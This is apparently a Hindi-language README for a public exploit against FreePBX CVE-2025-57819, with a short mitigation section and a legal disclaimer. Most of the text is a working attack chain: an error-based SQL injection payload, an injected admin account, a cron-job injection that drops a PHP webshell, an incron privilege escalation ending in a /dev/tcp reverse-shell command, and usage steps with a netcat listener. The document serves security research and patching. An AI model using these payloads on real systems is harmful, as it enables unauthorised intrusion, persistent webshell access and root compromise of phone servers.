Exploit for FreePBX-SQLi-RCE

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JAZZTHERABBIT-FREEPBX-SQLI-RCE
# FreePBX CVE-2025-57819 - अनऑथेंटिकेटेड SQLi से RCE PoC

![Python](https://img.shields.io/badge/Python-3.6+-blue) ![License](https://img.shields.io/badge/License-MIT-green)

**केवल शैक्षिक एवं सुरक्षा अनुसंधान - कृपया नीचे कानूनी सूचना देखें**

CVE-2025-57819 के लिए शोषण प्रमाण-अवधारणा (PoC), FreePBX में एक गंभीर अनऑथेंटिकेटेड SQL इंजेक्शन भेद्यता जो रिमोट कोड निष्पादन की अनुमति देती है। यह PoC **आधिकारिक पैच जारी होने के बाद** केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण उद्देश्यों के लिए प्रकाशित किया गया है।

## अवलोकन

FreePBX संस्करण 15.x, 16.x, और 17.x (पैच किए गए संस्करणों से नीचे) endpoint मॉड्यूल के AJAX हैंडलर में अनऑथेंटिकेटेड SQL इंजेक्शन के लिए संवेदनशील हैं। यह शोषण श्रृंखला निम्नलिखित की अनुमति देती है:

  1. **SQL इंजेक्शन के माध्यम से प्रशासनिक खाते बनाना**
  2. **प्रमाणित क्रॉन जॉब इंजेक्शन के माध्यम से वेबशेल तैनात करना**
  3. **sysadmin_manager हुक श्रृंखला के माध्यम से रूट तक पहुंच बढ़ाना** (यदि incron उपलब्ध हो)
  4. **रिवर्स शेल एक्सेस के साथ पूर्ण सिस्टम समझौता**



* * *

## भेद्यता विवरण

|   
---|---  
**CVE ID**|  CVE-2025-57819  
**प्रकार**|  अनऑथेंटिकेटेड SQL इंजेक्शन (त्रुटि-आधारित)  
**CVSS**|  9.8 / 10.0 (गंभीर)  
**प्रभावित**|  FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3  
**पैच किया गया**|  15.0.66, 16.0.89, 17.0.3+  
**CISA KEV**|  हाँ (अगस्त 29, 2025)  
  
### संवेदनशील एंडपॉइंट

root@kitploit:~
    
    
    GET /admin/ajax.php?brand=<PAYLOAD>
    

endpoint मॉड्यूल के AJAX हैंडलर में `brand` पैरामीटर बिना सत्यापन के उपयोगकर्ता इनपुट स्वीकार करता है, जिससे त्रुटि-आधारित SQL इंजेक्शन होता है।

* * *

## शोषण श्रृंखला

### चरण 1: SQL इंजेक्शन और प्रशासनिक खाता निर्माण

डेटाबेस नाम लीक करने के लिए `EXTRACTVALUE()` त्रुटि-आधारित निष्कर्षण का उपयोग करके SQLi सत्यापित करें:

root@kitploit:~
    
    
    x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
    

`asterisk.ampusers` में नया प्रशासनिक उपयोगकर्ता सम्मिलित करें:

root@kitploit:~
    
    
    INSERT INTO ampusers (username, password_hash, admin) 
    VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
    

### चरण 2: प्रमाणित क्रॉन जॉब इंजेक्शन

मान्य प्रशासक क्रेडेंशियल के साथ, शोषण FreePBX में प्रमाणित होता है और एक प्रमाणित सत्र स्थापित करता है। सत्र कुकीज़ को सहेजा जाता है और बाद के सभी प्रमाणित अनुरोधों के लिए उपयोग किया जाता है।

`asterisk.cron_jobs` में वेबशेल कमांड इंजेक्ट करें:

root@kitploit:~
    
    
    INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
    VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
    

FreePBX क्रॉन रनर `asterisk` उपयोगकर्ता के रूप में कमांड निष्पादित करता है, PHP वेबशेल गिराता है।

### चरण 3: वेबशेल सक्रियण

PHP वेबशेल `/var/www/html/shell.php` पर तैनात किया गया है:

root@kitploit:~
    
    
    <?php system($_GET['cmd']); ?>
    

शोषण सक्रियण होने तक वेबशेल को पोल करता है, जिससे `asterisk` उपयोगकर्ता (uid=999) के रूप में RCE प्राप्त होता है।

### चरण 4: विशेषाधिकार वृद्धि (सशर्त)

यदि लक्ष्य पर incron कॉन्फ़िगर किया गया है:

  1. `/var/spool/asterisk/incron/` में ट्रिगर फ़ाइल बनाएँ
  2. `incrond` (रूट के रूप में चल रहा है) फ़ाइल निर्माण का पता लगाता है
  3. ट्रिगर फ़ाइल नाम के साथ `/usr/bin/sysadmin_manager` को आमंत्रित करता है
  4. `sysadmin_manager` GPG हस्ताक्षर को मान्य करता है और fwconsole-commands हुक को भेजता है
  5. हुक पेलोड को डीकोड करता है और निष्पादित करता है: `/usr/sbin/fwconsole <COMMAND>`
  6. कमांड इंजेक्शन: `help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1`



परिणाम: रिवर्स लिसनर पर रूट शेल (यदि incron उपलब्ध हो)।

* * *

## यह क्या दुरुपयोग करता है

  * `brand` पैरामीटर पर कोई इनपुट सत्यापन नहीं
  * स्टैक्ड क्वेरी निष्पादन डेटाबेस हेरफेर की अनुमति देता है
  * लिखने योग्य `asterisk.cron_jobs` तालिका asterisk के रूप में कमांड निष्पादित करती है
  * बनाए गए प्रशासक खाते से कुकीज़ के माध्यम से प्रमाणित सत्र दृढ़ता
  * incron फ़ाइलसिस्टम मॉनिटरिंग रूट के रूप में चल रही है
  * कमांड इंजेक्शन के साथ अमान्य fwconsole हुक निष्पादन



* * *

## स्थापना

root@kitploit:~
    
    
    git clone https://github.com/JazzTheRabbit/cve-2025-57819.git
    cd cve-2025-57819
    pip3 install requests
    chmod +x JTR-CVE-2025-57819.py
    

## उपयोग

root@kitploit:~
    
    
    # Netcat लिसनर सेटअप करें
    nc -lvnp <Listener Port>
    
    # शोषण चलाएँ
    python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>
    

## PoC

![PoC Screenshot](https://assets.kitploit.com/production/public/readmes/36950/45c6bbf7ecd175a8af2dfe1011febe726c120fc9e311a1634022e031e3221dfc.png)

* * *

## प्रभावित संस्करण

* * *

## शमन

**तत्काल:**

  * अविश्वसनीय नेटवर्क से `/admin/ajax.php` तक पहुंच प्रतिबंधित करें
  * यदि आवश्यक न हो तो incron अक्षम करें: `systemctl disable incrond`



**स्थायी:** पैच किए गए संस्करणों में अपग्रेड करें: 15.0.66+, 16.0.89+, या 17.0.3+

* * *

## संदर्भ

  * CVE-2025-57819
  * CISA KEV Catalog
  * FreePBX Security Advisory



* * *

## कानूनी सूचना

⚠️ **अस्वीकरण**

यह प्रमाण-अवधारणा **केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए** प्रदान की जाती है। लेखक इस उपकरण के दुरुपयोग या क्षति के लिए कोई दायित्व नहीं मानता है।

**आपको अनुपालन करना होगा:**

  * कंप्यूटर फ्रॉड और एब्यूज़ एक्ट (CFAA) और आपके क्षेत्राधिकार में समान कानून
  * केवल उन सिस्टम का परीक्षण करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित प्राधिकरण है
  * किसी भी सुरक्षा परीक्षण से पहले लिखित अनुमति प्राप्त करें
  * जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें
  * गोपनीयता और डेटा सुरक्षा नियम (GDPR, CCPA, आदि) का पालन करें



**निषिद्ध उपयोग:**

  * कंप्यूटर सिस्टम तक अनधिकृत पहुंच
  * लिखित सहमति के बिना पैठ परीक्षण
  * सेवाओं का विघ्न या डेटा चोरी
  * कोई भी दुर्भावनापूर्ण या अवैध गतिविधि



**दायित्व छूट:** लेखक इसके लिए जिम्मेदार नहीं है:

  * अनधिकृत पहुंच या आपराधिक आरोप
  * सिस्टम को नुकसान या डेटा हानि
  * दुरुपयोग के कानूनी परिणाम
  * कंप्यूटर धोखाधड़ी कानूनों का उल्लंघन



**यह भेद्यता:**

  * सार्वजनिक रूप से प्रकट की गई (CVE-2025-57819)
  * पैच सार्वजनिक रूप से उपलब्ध हैं
  * केवल सुरक्षा अनुसंधान के लिए प्रकाशित
  * पैच रिलीज़ के बाद जिम्मेदारी से साझा की गई



* * *

## लेखक

**JazzTheRabbit**

  * GitHub: @JazzTheRabbit
  * HackTheBox: @JazzTheRabbit
  * YouTube: JazzTheRabbit



## लाइसेंस

MIT License